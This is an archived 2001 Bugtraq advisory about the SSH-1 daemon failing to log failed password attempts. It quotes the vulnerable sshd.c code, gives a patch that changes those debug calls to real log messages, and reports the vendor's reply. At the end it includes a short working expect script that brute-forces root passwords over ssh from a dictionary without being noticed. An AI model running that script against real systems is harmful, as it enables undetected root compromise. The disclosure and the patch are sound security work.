6052912 2001-02-05 13:42 -0500  /190 rader/ jose nazario <jose@SPAM.THEGEEKEMPIRE.NET>
Sänt av: joel@lysator.liu.se
Importerad: 2001-02-06  01:44  av Brevbäraren (som är implementerad i) Python
Extern mottagare: BUGTRAQ@SECURITYFOCUS.COM
Externa svar till: jose@SPAM.THEGEEKEMPIRE.NET
Mottagare: Bugtraq (import) <15233>
Ärende: SSHD-1 Logging Vulnerability
------------------------------------------------------------
From: jose nazario <jose@SPAM.THEGEEKEMPIRE.NET>
To: BUGTRAQ@SECURITYFOCUS.COM
Message-ID: <Pine.BSO.4.21.0102051340220.30687-100000@spam.thegeekempire.net>

Crimelabs, Inc.                                 www.crimelabs.net

                        Security Note
        Crimelabs Security Note CLABS200101

                Title: SSH-1 Brute Force Password Vulnerability
                 Date: 5 February, 2001
              Vendors: Any supported by SSH-1
	     Versions: At least ssh-1.2.27 and 1.2.30
         Not Affected: OpenSSH
             Severity: Medium to High
               Author: Jose Nazario <jose@crimelabs.net>
              Website: http://www.crimelabs.net/
        Vendor Status: Contacted 1 February, 2001
         Vendor Reply: Fixed in CVS, more below

Introduction

There exists a very simple, but potentially damaging, vulnerability
in the SSH version 1 daemon related to the brute forcing of passwords
in accounts. By default the daemon does not log up to four
unsuccessful attempts at guessing a password or a username/password
combination. This allows for the undetected brute forcing of
passwords or account/password combinations. An exploit is included. A
source code patch to ssh-1.2.30 is also included.

This is unrelated to, but similar to, the problem noted by the
J.J.F./Hackers Team at http://www.jjf.org/advisory/SshdJJFen.txt,
which noted the failure of the ssh version 2 daemon to not log IP
addresses upon connections, leading to an untracable brute force
attack.

Impact

Depending on the rules in place at the site, if root logins are
allowed (and they are by default) this could lead to a root account
compromise if given enough time or a good enough dictionary in
relation to the password.

While this can readily be done for other login protocols, including
telnet, ftp, and the like, they log failed password attempts, unlike
sshd.  As such, it becomes possible to hide one's intentions as an
attempt is made to brute force accounts.

It is for this reason that we mark the risk factor as "Medium to
High".

Crimelabs dissuades allowing ssh root logins for many reasons,
including this one. The main argument against it is a lack of
accounting on the system, which would be facilitated by 'su'
logs. Additional reasons include bypassing the limitations placed on
users by 'su' locally, and conformance to traditional UNIX login
standards for telnet and rlogin, which disallow root logins.

The Problem Code

Examination of the code reveals this occurs because the message that
would otherwise log this message is wrapped around a debug routine:

(file sshd.c from sources 1.2.30, one example)

2673- {
2674-   /* Log failures if attempted more than once. */
2675:   debug("Password authentication failed for user %.100s from %.100s.",
2676-         user, get_canonical_hostname());
2677-  }

Patch and Workaround

The following patch should be applied to sshd.c (this is for the
1.2.30 sources), the daemon rebuilt and reinstalled.

Better yet, upgrade to OpenSSH (http://www.openssh.com/). Thanks to
everyone on the OpenSSH team for a better product.

The following patch against ssh-1.2.30 code fixes the logging issue
for password authentication, RSA authentication, RhostsRSA
authentication, and TIS authentication. Kerberos4 appears to still
not be logged as a failed password authentication, but Kerberos5
does. Not having a Kerberos infrastructure to test this on, I am
unable evaluate this portion of the code.

$ diff -Naur ssh-1.2.30/sshd.c.orig ssh-1.2.30/sshd.c
--- ssh-1.2.30/sshd.c.orig      Wed Jan 31 12:11:08 2001
+++ ssh-1.2.30/sshd.c   Wed Jan 31 12:57:36 2001
@@ -2408,7 +2408,7 @@
               remote_user_name = client_user;
               break;
             }
-          debug("Rhosts authentication failed for '%.100s', remote '%.100s', host '%.200s'.",
+          log_msg("Rhosts authentication failed for '%.100s', remote '%.100s', host '%.200s'.",
                 user, client_user, get_canonical_hostname());
           xfree(client_user);
           break;
@@ -2469,7 +2469,7 @@
               mpz_clear(&client_host_key_n);
               break;
             }
-          debug("RhostsRSA authentication failed for '%.100s', remote '%.100s', host '%.200s'.",
+          log_msg("RhostsRSA authentication failed for '%.100s', remote '%.100s', host '%.200s'.",
                 user, client_user, get_canonical_hostname());
           xfree(client_user);
           mpz_clear(&client_host_key_e);
@@ -2500,7 +2500,7 @@
                 break;
               }
             mpz_clear(&n);
-            debug("RSA authentication for %.100s failed.", user);
+            log_msg("RSA authentication for %.100s failed.", user);
           }
           break;

@@ -2633,7 +2633,7 @@
               authenticated = 1;
               break;
             } else {
-              debug("TIS authentication for %.100s failed",user);
+              log_msg("TIS authentication for %.100s failed",user);
               memset(password, 0, strlen(password));
               xfree(password);
               break;
@@ -2672,7 +2672,7 @@
           if (password_attempts > 0)
             {
               /* Log failures if attempted more than once. */
-              debug("Password authentication failed for user %.100s from %.100s.",
+              log_msg("Password authentication failed for user %.100s from %.100s.",

                     user, get_canonical_hostname());
             }
           password_attempts++;
@@ -2693,7 +2693,7 @@
               authenticated = 1;
               break;
             }
-          debug("Password authentication for %.100s failed.", user);
+          log_msg("Password authentication for %.100s failed.", user);
           memset(password, 0, strlen(password));
           xfree(password);
           break;

Vendor Response

Tatu Ylonen was quick to respond. In summary, he noted that the SSH-1
code is depracated, and that the real fix is to move to
SSH-2. However, the problem has been fixed in the CVS tree for the
version 1 daemon.

Exploit

Because a workaround and a source patch is available for ssh systems
vulnerable to this problem, we have devised and are releasing an
exploit for this problem. Using the expect language, we can work our
way through a dictionary of potential passwords for the root account
via the sshd version 1 without detection of our true activities.

Standard disclaimer applies, this is research only, don't use against
a live target unless you are authorized to do so, proof of concept, a
threshing by your mother, etc.

#!/usr/bin/expect -f
#
# simple expect exploit to brute force root's password via ssh without
# detection.. see CLABS200101 for info on this exploit.
#
# this is beerware, just buy me a beer at defcon if you like this.
# build your own dictionary, use at your own risk, no warranty, etc.
#
# jose@crimelabs.net		january, 2001
#
set timeout 3
set target [lindex $argv 0]
set dictionary [lindex $argv 1]

if {[llength $argv] !=  2} {
   puts stderr "Usage: $argv0 root@target dictionary\n"
   exit }

set tryPass [open $dictionary r]

foreach passwd [split [read $tryPass] "\n"] {
  spawn ssh $target
  expect ":"
  send "$passwd\n"
  expect "#" { puts "password is $passwd\n" ; exit }
  set id [exp_pid]
  exec kill -INT $id
}
(6052912) --------------------------------(Ombruten)